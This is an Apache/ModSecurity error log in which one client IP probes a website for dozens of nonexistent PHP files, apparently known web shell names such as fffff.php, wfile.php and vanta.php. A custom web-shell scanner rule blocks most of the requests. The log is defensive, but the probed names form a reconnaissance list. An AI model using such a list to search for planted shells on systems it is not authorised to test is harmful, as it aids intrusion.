[Mon Mar 23 18:46:37.260204 2026] [:error] [pid 23440:tid 23494] [client 65.52.65.130:3941] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2clas.php"] [unique_id "acEaDT49_8n8h_ttcUo2ZAAAAFI"]
[Mon Mar 23 18:46:37.808475 2026] [:error] [pid 23440:tid 23485] [client 65.52.65.130:4013] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2clas.php"] [unique_id "acEaDT49_8n8h_ttcUo2ZgAAAEk"]
[Mon Mar 23 18:46:38.500444 2026] [:error] [pid 23440:tid 23493] [client 65.52.65.130:3926] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inde.php"] [unique_id "acEaDj49_8n8h_ttcUo2ZwAAAFE"]
[Mon Mar 23 18:46:39.090590 2026] [:error] [pid 57265:tid 57278] [client 65.52.65.130:3840] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inde.php"] [unique_id "acEaD2NLjPJJkhuqCshKcQAAAQs"]
[Mon Mar 23 18:46:39.663474 2026] [:error] [pid 23539:tid 23563] [client 65.52.65.130:3869] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inde.php"] [unique_id "acEaD37Dh3qWGSpIAZUknAAAAM8"]
[Mon Mar 23 18:46:40.259293 2026] [:error] [pid 23441:tid 23512] [client 65.52.65.130:3953] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inde.php"] [unique_id "acEaEBq7S-oOqSXZEr7gVQAAAIk"]
[Mon Mar 23 18:46:40.831766 2026] [:error] [pid 14573:tid 14576] [client 65.52.65.130:4012] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classgoto24.php"] [unique_id "acEaEO-oSmHn3q4_J1HQqgAAAUE"]
[Mon Mar 23 18:46:41.398193 2026] [:error] [pid 57265:tid 57271] [client 65.52.65.130:3865] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classgoto24.php"] [unique_id "acEaEWNLjPJJkhuqCshKcgAAAQQ"]
[Mon Mar 23 18:46:41.965122 2026] [:error] [pid 57265:tid 57283] [client 65.52.65.130:4011] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classgoto24.php"] [unique_id "acEaEWNLjPJJkhuqCshKdQAAARA"]
[Mon Mar 23 18:46:43.635696 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:3952] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classgoto24.php"] [unique_id "acEaE2NLjPJJkhuqCshKegAAARY"]
[Mon Mar 23 18:46:47.269143 2026] [:error] [pid 14573:tid 14592] [client 65.52.65.130:3900] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fffff.php"] [unique_id "acEaF--oSmHn3q4_J1HQrQAAAVE"]
[Mon Mar 23 18:46:47.804922 2026] [:error] [pid 23441:tid 23507] [client 65.52.65.130:3080] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fffff.php"] [unique_id "acEaFxq7S-oOqSXZEr7gWwAAAIQ"]
[Mon Mar 23 18:46:50.878390 2026] [:error] [pid 57265:tid 57291] [client 65.52.65.130:3911] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fffff.php"] [unique_id "acEaGmNLjPJJkhuqCshKhgAAARg"]
[Mon Mar 23 18:46:51.539854 2026] [:error] [pid 57265:tid 57287] [client 65.52.65.130:3853] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fffff.php"] [unique_id "acEaG2NLjPJJkhuqCshKiwAAARQ"]
[Mon Mar 23 18:46:52.195509 2026] [:error] [pid 23441:tid 23505] [client 65.52.65.130:3981] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/thh.php"] [unique_id "acEaHBq7S-oOqSXZEr7gXgAAAII"]
[Mon Mar 23 18:46:52.807715 2026] [:error] [pid 23441:tid 23514] [client 65.52.65.130:3073] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/thh.php"] [unique_id "acEaHBq7S-oOqSXZEr7gXwAAAIs"]
[Mon Mar 23 18:46:53.682894 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:3964] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/thh.php"] [unique_id "acEaHWNLjPJJkhuqCshKkwAAAQ4"]
[Mon Mar 23 18:46:54.328506 2026] [:error] [pid 23440:tid 23490] [client 65.52.65.130:3866] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/thh.php"] [unique_id "acEaHj49_8n8h_ttcUo2bgAAAE4"]
[Mon Mar 23 18:46:54.909141 2026] [:error] [pid 14573:tid 14595] [client 65.52.65.130:3843] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "acEaHu-oSmHn3q4_J1HQsQAAAVQ"]
[Mon Mar 23 18:46:55.474250 2026] [:error] [pid 14573:tid 14579] [client 65.52.65.130:3872] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "acEaH--oSmHn3q4_J1HQtAAAAUQ"]
[Mon Mar 23 18:46:56.034262 2026] [:error] [pid 14573:tid 14598] [client 65.52.65.130:4078] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "acEaIO-oSmHn3q4_J1HQtwAAAVc"]
[Mon Mar 23 18:46:56.588843 2026] [:error] [pid 23441:tid 23516] [client 65.52.65.130:3965] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yellow.php"] [unique_id "acEaIBq7S-oOqSXZEr7gYgAAAI0"]
[Mon Mar 23 18:46:57.178568 2026] [:error] [pid 57265:tid 57291] [client 65.52.65.130:3882] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wfile.php"] [unique_id "acEaIWNLjPJJkhuqCshKlwAAARg"]
[Mon Mar 23 18:46:57.792460 2026] [:error] [pid 23440:tid 23495] [client 65.52.65.130:4041] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wfile.php"] [unique_id "acEaIT49_8n8h_ttcUo2cQAAAFM"]
[Mon Mar 23 18:46:58.338840 2026] [:error] [pid 57265:tid 57271] [client 65.52.65.130:3888] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wfile.php"] [unique_id "acEaImNLjPJJkhuqCshKnQAAAQQ"]
[Mon Mar 23 18:46:59.804190 2026] [:error] [pid 23441:tid 23503] [client 65.52.65.130:3976] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wfile.php"] [unique_id "acEaIxq7S-oOqSXZEr7gZwAAAIA"]
[Mon Mar 23 18:47:00.330324 2026] [:error] [pid 14573:tid 14596] [client 65.52.65.130:3075] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class20.php"] [unique_id "acEaJO-oSmHn3q4_J1HQvQAAAVU"]
[Mon Mar 23 18:47:03.901686 2026] [:error] [pid 14573:tid 14598] [client 65.52.65.130:4007] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class20.php"] [unique_id "acEaJ--oSmHn3q4_J1HQwQAAAVc"]
[Mon Mar 23 18:47:04.609390 2026] [:error] [pid 57265:tid 57284] [client 65.52.65.130:3858] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class20.php"] [unique_id "acEaKGNLjPJJkhuqCshKqAAAARE"]
[Mon Mar 23 18:47:14.384538 2026] [:error] [pid 23440:tid 23482] [client 65.52.65.130:4027] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class20.php"] [unique_id "acEaMj49_8n8h_ttcUo2kgAAAEY"]
[Mon Mar 23 18:47:15.033358 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:16887] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "acEaM--oSmHn3q4_J1HQxwAAAUw"]
[Mon Mar 23 18:47:15.660508 2026] [:error] [pid 23441:tid 23511] [client 65.52.65.130:3914] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "acEaMxq7S-oOqSXZEr7gdAAAAIg"]
[Mon Mar 23 18:47:16.210777 2026] [:error] [pid 14573:tid 14583] [client 65.52.65.130:3860] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "acEaNO-oSmHn3q4_J1HQyAAAAUg"]
[Mon Mar 23 18:47:16.781143 2026] [:error] [pid 23539:tid 23561] [client 65.52.65.130:4004] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/build.php"] [unique_id "acEaNH7Dh3qWGSpIAZUktAAAAM0"]
[Mon Mar 23 18:47:17.327128 2026] [:error] [pid 23439:tid 23451] [client 65.52.65.130:3916] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file1.php"] [unique_id "acEaNaZv8XIzUKdgaMeTVQAAAAI"]
[Mon Mar 23 18:47:17.886050 2026] [:error] [pid 23441:tid 23517] [client 65.52.65.130:3126] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file1.php"] [unique_id "acEaNRq7S-oOqSXZEr7gdwAAAI4"]
[Mon Mar 23 18:47:21.564554 2026] [:error] [pid 23439:tid 23464] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/file1.php
[Mon Mar 23 18:47:21.838221 2026] [:error] [pid 23439:tid 23472] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/520.php
[Mon Mar 23 18:47:22.109218 2026] [:error] [pid 23439:tid 23459] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/file18.php
[Mon Mar 23 18:47:22.387896 2026] [:error] [pid 23439:tid 23465] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/ffile.php
[Mon Mar 23 18:47:22.690954 2026] [:error] [pid 23439:tid 23460] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/vee.php
[Mon Mar 23 18:47:22.969061 2026] [:error] [pid 23439:tid 23458] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/efile.php
[Mon Mar 23 18:47:23.252761 2026] [:error] [pid 23439:tid 23466] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/afile.php
[Mon Mar 23 18:47:23.543994 2026] [:error] [pid 23439:tid 23468] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/lites.php
[Mon Mar 23 18:47:23.850564 2026] [:error] [pid 23439:tid 23467] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/0x.php
[Mon Mar 23 18:47:24.124733 2026] [:error] [pid 23439:tid 23457] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/bless3.php
[Mon Mar 23 18:47:24.395538 2026] [:error] [pid 23439:tid 23473] [client 65.52.65.130:3842] File does not exist: /usr/local/apache/htdocs/suspended-page/enclas.php
[Mon Mar 23 18:47:24.689358 2026] [:error] [pid 23439:tid 23461] [client 65.52.65.130:3842] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/he.php"] [unique_id "acEaPKZv8XIzUKdgaMeTaAAAAAw"]
[Mon Mar 23 18:47:25.229529 2026] [:error] [pid 57265:tid 57287] [client 65.52.65.130:16861] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/he.php"] [unique_id "acEaPWNLjPJJkhuqCshKwQAAARQ"]
[Mon Mar 23 18:47:25.806363 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:16776] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/he.php"] [unique_id "acEaPWNLjPJJkhuqCshKwwAAARY"]
[Mon Mar 23 18:47:26.405824 2026] [:error] [pid 23441:tid 23505] [client 65.52.65.130:16780] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/he.php"] [unique_id "acEaPhq7S-oOqSXZEr7ghwAAAII"]
[Mon Mar 23 18:47:27.002460 2026] [:error] [pid 23441:tid 23512] [client 65.52.65.130:16841] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aves.php"] [unique_id "acEaPxq7S-oOqSXZEr7gjQAAAIk"]
[Mon Mar 23 18:47:28.431069 2026] [:error] [pid 57265:tid 57287] [client 65.52.65.130:16894] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aves.php"] [unique_id "acEaQGNLjPJJkhuqCshK0QAAARQ"]
[Mon Mar 23 18:47:29.069771 2026] [:error] [pid 57265:tid 57280] [client 65.52.65.130:16842] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aves.php"] [unique_id "acEaQWNLjPJJkhuqCshK1AAAAQ0"]
[Mon Mar 23 18:47:30.594685 2026] [:error] [pid 23439:tid 23470] [client 65.52.65.130:3852] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aves.php"] [unique_id "acEaQqZv8XIzUKdgaMeTawAAABU"]
[Mon Mar 23 18:47:31.142394 2026] [:error] [pid 23439:tid 23464] [client 65.52.65.130:3889] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanta.php"] [unique_id "acEaQ6Zv8XIzUKdgaMeTbAAAAA8"]
[Mon Mar 23 18:47:31.710871 2026] [:error] [pid 35165:tid 35183] [client 65.52.65.130:16832] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanta.php"] [unique_id "acEaQ86udpN6Esk7JKvAAAAAAY8"]
[Mon Mar 23 18:47:32.283271 2026] [:error] [pid 57265:tid 57269] [client 65.52.65.130:3951] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanta.php"] [unique_id "acEaRGNLjPJJkhuqCshK3QAAAQI"]
[Mon Mar 23 18:47:32.857164 2026] [:error] [pid 35165:tid 35179] [client 65.52.65.130:3921] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanta.php"] [unique_id "acEaRM6udpN6Esk7JKvAAQAAAYs"]
[Mon Mar 23 18:47:33.406267 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:16878] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "acEaRWNLjPJJkhuqCshK4AAAAQc"]
[Mon Mar 23 18:47:33.971372 2026] [:error] [pid 57265:tid 57272] [client 65.52.65.130:3878] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "acEaRWNLjPJJkhuqCshK5AAAAQU"]
[Mon Mar 23 18:47:34.485652 2026] [:error] [pid 57265:tid 57287] [client 65.52.65.130:3939] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "acEaRmNLjPJJkhuqCshK5wAAARQ"]
[Mon Mar 23 18:47:35.029899 2026] [:error] [pid 14573:tid 14576] [client 65.52.65.130:4075] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "acEaR--oSmHn3q4_J1HQ0AAAAUE"]
